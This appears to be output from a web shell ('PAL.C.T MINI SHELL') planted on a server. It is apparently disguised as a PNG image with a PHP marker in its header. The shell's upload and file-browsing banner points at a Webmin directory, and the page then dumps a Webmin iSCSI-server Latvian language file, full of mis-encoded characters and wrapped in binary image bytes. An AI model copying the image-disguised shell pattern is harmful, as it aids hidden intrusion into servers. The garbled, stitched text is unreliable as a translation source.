‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/iscsi-server/lang/
upload
files >> //usr/libexec/webmin/iscsi-server/lang/lv.auto

check_etargets=ISCSI servera konfigurÄcijas fails $1 jÅ«su sistÄ“mÄ netika atrasts.
check_eserver=ISCSI servera programma $1 jÅ«su sistÄ“mÄ netika atrasta.

index_title=iSCSI serveris
index_clink=VarbÅ«t tas nav instalÄ“ts vai jÅ«su <a href='$1'>moduļa konfigurÄcija</a> ir nepareiza.
index_stop=Apturiet iSCSI serveri
index_stopdesc=Noklikšķiniet uz šīs pogas, lai apturÄ“tu darbojoÅ¡os iSCSI serveri. Visas koplietotÄs ierÄ«ces klientiem vairs nebÅ«s pieejamas.
index_start=Startējiet iSCSI Server
index_startdesc=Noklikšķiniet uz šīs pogas, lai palaistu iSCSI serveri, lai koplietotÄs ierÄ«ces bÅ«tu pieejamas klientiem.
index_restart=Restartējiet iSCSI serveri
index_restartdesc=Noklikšķiniet uz šīs pogas, lai lietotu paÅ¡reizÄ“jo konfigurÄciju, restartÄ“jot iSCSI serveri.
index_atboot=SÄkt no sÄknēšanas?
index_atbootdesc=Mainiet Å¡o opciju, lai kontrolÄ“tu, vai iSCSI serveris tiek startÄ“ts sÄknēšanas laikÄ vai nÄ“. Ja tas paÅ¡laik netiek sÄkts sÄknēšanas laikÄ un ir izvÄ“lÄ“ts JÄ, tiks izveidots jauns init skripts.
index_return=moduļa indekss

extents_title=KoplietojamÄs ierÄ«ces
extents_none=PagaidÄm nav izveidotas nevienas koplietojamÄs ierÄ«ces.
extents_name=Ierīces nosaukums
extents_file=Faila vai ierīces ceļš
extents_start=Apjoma sÄkums
extents_size=Apjoma lielums
extents_add=Pievienojiet jaunu ierīci kopīgošanai.
extents_delete=DzÄ“st atlasÄ«tÄs ierÄ«ces
extents_return=to ierÄ«Äu saraksts, kuras koplietot
extents_derr=NeizdevÄs izdzÄ“st ierÄ«ces
extents_denone=Nav atlasīts
extents_einuse=Ierīci $1 nevar izdzēst, jo to lieto : $2 
extents_drusure=Vai tieÅ¡Äm vÄ“laties noņemt Å¡Ädas ierÄ«ces: $1 ? To saturs tiks saglabÄts, bet tie vairs nebÅ«s pieejami iSCSI klientiem.
extents_sure=Dzēst ierīces

extent_create=Izveidot kopīgojamo ierīci
extent_edit=Rediģēt kopīgojamo ierīci
extent_egone=Ierīce $1 kopīgošanai neeksistē!
extent_header=SÄ«kÄka informÄcija par ierÄ«ci, ar kuru dalÄ«ties
extent_name=Ierīces nosaukums
extent_device=Fails vai diska ierīce, ko koplietot
extent_start=DalīšanÄs apjoma sÄkums
extent_size=DalīšanÄs apmÄ“rs
extent_size_def1=Viss fails vai ierīce
extent_size_def0=NorÄdÄ«tais izmÄ“rs
extent_part=Vietējais diska nodalījums
extent_raid=RAID ierīce
extent_md=RAID ierīce $1 
extent_lvm=LVM loģiskais apjoms
extent_lv=LVM VG $1, LV $2 
extent_other=Cits fails vai ierīce
extent_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st koplietoto ierÄ«ci $1 ? TÄs saturs tiks saglabÄts, bet tas vairs nebÅ«s pieejams iSCSI klientiem.
extent_sure=Dzēst ierīci
extent_err=NeizdevÄs saglabÄt ierÄ«ces kopÄ«goÅ¡anu
extent_derr=NeizdevÄs izdzÄ“st ierÄ«ces kopÄ«goÅ¡anu
extent_eother=KoplietojamÄ faila nav
extent_estart=Apjoma sÄkumam jÄbÅ«t skaitlim
extent_esize=Apjoma lielumam jÄbÅ«t skaitlim
extent_esizemax=Apjoma beigas nevar bÅ«t lielÄkas par ierÄ«ces izmÄ“ru $1 
extent_einuse=Šo ierīci nevar izdzēst, jo to izmanto : $1 

devices_title=IerÄ«Äu kombinÄcijas
devices_none=PagaidÄm nav izveidotas nevienas ierÄ«ces kombinÄcijas.
devices_name=KombinÄcijas nosaukums
devices_mode=KombinÄcijas tips
devices_mode_raid0=LineÄrs (RAID0)
devices_mode_raid1=Replicēts (RAID1)
devices_extents=Biedra ierīces
devices_add=Pievienojiet jaunu ierÄ«Äu kombinÄciju.
devices_delete=DzÄ“st atlasÄ«tÄs kombinÄcijas
devices_return=ierÄ«Äu kombinÄciju saraksts
devices_derr=NeizdevÄs izdzÄ“st ierÄ«Äu kombinÄcijas
devices_denone=Nav atlasīts
devices_einuse=KombinÄciju $1 nevar izdzÄ“st, jo to izmanto : $2 
devices_drusure=Vai tieÅ¡Äm vÄ“laties noņemt Å¡Ädas ierÄ«Äu kombinÄcijas: $1 ? To saturs tiks saglabÄts, bet tie vairs nebÅ«s pieejami iSCSI klientiem.
devices_sure=DzÄ“st ierÄ«Äu kombinÄcijas

device_create=Izveidot ierÄ«Äu kombinÄciju
device_edit=Rediģēt ierÄ«ces kombinÄciju
device_egone=IerÄ«ces kombinÄcija $1 neeksistÄ“!
device_header=SÄ«kÄka informÄcija par ierÄ«ces kombinÄciju
device_name=IerÄ«ces kombinÄcijas nosaukums
device_mode=KombinÄcijas tips
device_extents=Biedra ierīces
device_poss=Visas pieejamÄs ierÄ«ces
device_got=Biedra ierīces
device_err=NeizdevÄs saglabÄt ierÄ«ces kombinÄciju
device_derr=NeizdevÄs izdzÄ“st ierÄ«ces kombinÄciju
device_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st ierÄ«Äu kombinÄciju $1 ? TÄs saturs tiks saglabÄts, bet tas vairs nebÅ«s pieejams iSCSI klientiem.
device_sure=DzÄ“st ierÄ«ces kombinÄciju
device_einuse=Å o ierÄ«Äu kombinÄciju nevar izdzÄ“st, jo to izmanto : $1 
device_eextents=Nav atlasīta neviena dalībnieka ierīce
device_eself=Viena no atlasÄ«tajÄm dalÄ«bnieku ierÄ«cÄ“m satur Å¡o ierÄ«ci!

targets_title=Mērķu koplietošana
targets_none=PagaidÄm nav izveidoti koplietoÅ¡anas mÄ“rÄ·i.
targets_name=MÄ“rÄ·a vÄrds
targets_flags=Koplietošanas režīms
targets_flags_ro=Tikai lasīt
targets_flags_rw=Lasīt rakstīt
targets_export=DalīšanÄs
targets_network=Kopīgot ar tīklu
targets_add=Pievienojiet jaunu kopīgošanas mērķi.
targets_delete=Dzēst atlasītos mērķus
targets_return=koplietošanas mērķu saraksts
targets_derr=NeizdevÄs izdzÄ“st koplietoÅ¡anas mÄ“rÄ·us
targets_denone=Nav atlasīts
targets_drusure=Vai tieÅ¡Äm vÄ“laties noņemt Å¡Ädus koplietoÅ¡anas mÄ“rÄ·us: $1 ? Netiks zaudÄ“ti dati, taÄu tie vairs nebÅ«s pieejami iSCSI klientiem.
targets_sure=Dzēst koplietošanas mērķus

target_create=Izveidojiet koplietošanas mērķus
target_edit=Rediģēt koplietošanas mērķus
target_egone=Mērķa $1 koplietošana neeksistē!
target_header=SÄ«kÄka informÄcija par mÄ“rÄ·a kopÄ«goÅ¡anu
target_name=MÄ“rÄ·a vÄrda kopÄ«goÅ¡ana
target_flags=Piekļuves režīms
target_export=IerÄ«ce vai kombinÄcija
target_network=Kopīgot ar tīklu
target_network_all=Visi tīkli
target_network_net=Tikai tīkls
target_err=NeizdevÄs saglabÄt koplietoÅ¡anas mÄ“rÄ·i
target_derr=NeizdevÄs izdzÄ“st koplietoÅ¡anas mÄ“rÄ·i
target_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st koplietoÅ¡anas mÄ“rÄ·i $1 ? Netiks zaudÄ“ti dati, taÄu tie vairs nebÅ«s pieejami iSCSI klientiem.
target_sure=Dzēst mērķi
target_enetwork=Trūkst vai nav derīgs tīkls, ar kuru koplietot
target_emask=Trūkst vai nav derīgs tīkla masks, ar kuru koplietot

opts_title=iSCSI servera opcijas
opts_header=Iespējas visiem iSCSI mērķiem
opts_ip4=Pieņemt IPv4 savienojumus
opts_ip6=Pieņemt IPv6 savienojumus
opts_name=Klientam redzams vÄrds
opts_namedef=Noklusējums (sistēmas resursdators)
opts_port=Klausieties ostÄ
opts_sess=MaksimÄlais vienlaicÄ«gu sesiju skaits
opts_err=NeizdevÄs saglabÄt opcijas
opts_ename=Trūkst vai nav derīgs nosaukums - ir atļauti tikai burti, cipari, domuzīme, punkts un pasvītrojums
opts_eport=Trūkst vai nav ciparu porta numura
opts_esess=TrÅ«kst vai nav skaitlisku maksimÄlo sesiju

manual_title=Rediģēt konfigurÄcijas failu
manual_desc=Izmantojiet zemÄk esoÅ¡o tekstlodziņu, lai rediģētu iSCSI servera konfigurÄcijas failu $1. Esiet piesardzÄ«gs, jo jÅ«su ieguldÄ«jums netiks pÄrbaudÄ«ts!
manual_err=NeizdevÄs saglabÄt konfigurÄcijas failu
manual_edata=Nav ievadīts saturs!

users_title=iSCSI autentifikÄcija
users_none=PagaidÄm nav izveidots neviens iSCSI lietotÄjs. Klienti varÄ“s piekļūt koplietotajÄm ierÄ«cÄ“m bez autentifikÄcijas.
users_add=Pievienojiet jaunu iSCSI lietotÄju.
users_delete=DzÄ“st atlasÄ«tos lietotÄjus
users_name=LietotÄjvÄrds
users_mode=AutentifikÄcijas metode
users_return=lietotÄju saraksts

user_create=Izveidot iSCSI lietotÄju
user_edit=Rediģēt iSCSI lietotÄju
user_header=iSCSI lietotÄja informÄcija
user_user=Klienta lietotÄjvÄrds
user_mode=AutentifikÄcijas metode
user_pass=Klienta parole
user_egone=LietotÄjs vairs nepastÄv!
user_err=NeizdevÄs saglabÄt iSCSI lietotÄju
user_euser=TrÅ«kst vai nav derÄ«gs lietotÄjvÄrds - atstarpes un koloni nav atļauti
user_epass=Trūkst vai nav derīga parole - atstarpes un koli nav atļauti

desc_extent=Ierīce $1 kopīgošanai
desc_device=IerÄ«ces kombinÄcija $1 
desc_target=Mērķa $1 kopīgošana

start_err=NeizdevÄs palaist iSCSI serveri
stop_err=NeizdevÄs apturÄ“t iSCSI serveri
restart_err=NeizdevÄs restartÄ“t iSCSI serveri
atboot_err=NeizdevÄs iespÄ“jot sÄknēšanas laikÄ

log_create_extent=Izveidota ierīce kopīgošanai $1 
log_modify_extent=AtjauninÄta ierÄ«ce kopÄ«goÅ¡anai ar $1 
log_delete_extent=Dzēsta ierīce, lai kopīgotu $1 
log_create_device=Izveidota ierÄ«ces kombinÄcija $1 
log_modify_device=AtjauninÄta ierÄ«ces kombinÄcija $1 
log_delete_device=IzdzÄ“sta ierÄ«ces kombinÄcija $1 
log_create_target=Izveidots koplietošanas mērķis $1 
log_modify_target=AtjauninÄts kopÄ«goÅ¡anas mÄ“rÄ·is $1 
log_delete_target=Dzēsts koplietošanas mērķis $1 
log_delete_extents=IzdzÄ“sa kopÄ«goÅ¡anai paredzÄ“tÄs ierÄ«ces $1 
log_delete_devices=DzÄ“stas $1 ierÄ«Äu kombinÄcijas
log_delete_targets=Dzēsti $1 koplietošanas mērķi
log_start=Startēja iSCSI serveris
log_stop=ApstÄdinÄts iSCSI serveris
log_restart=Restartēts iSCSI serveris
log_atboot=IespÄ“jot iSCSI serveri sÄknēšanas laikÄ
log_delboot=AtspÄ“jots iSCSI serveris sÄknēšanas laikÄ
log_manual=ManuÄli rediģēts konfigurÄcijas fails
log_create_user=Izveidots iSCSI lietotÄjs $1 
log_modify_user=AtjauninÄts iSCSI lietotÄjs $1 
log_delete_user=IzdzÄ“sts iSCSI lietotÄjs $1 
log_delete_users=IzdzÄ“sti $1 iSCSI lietotÄji
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚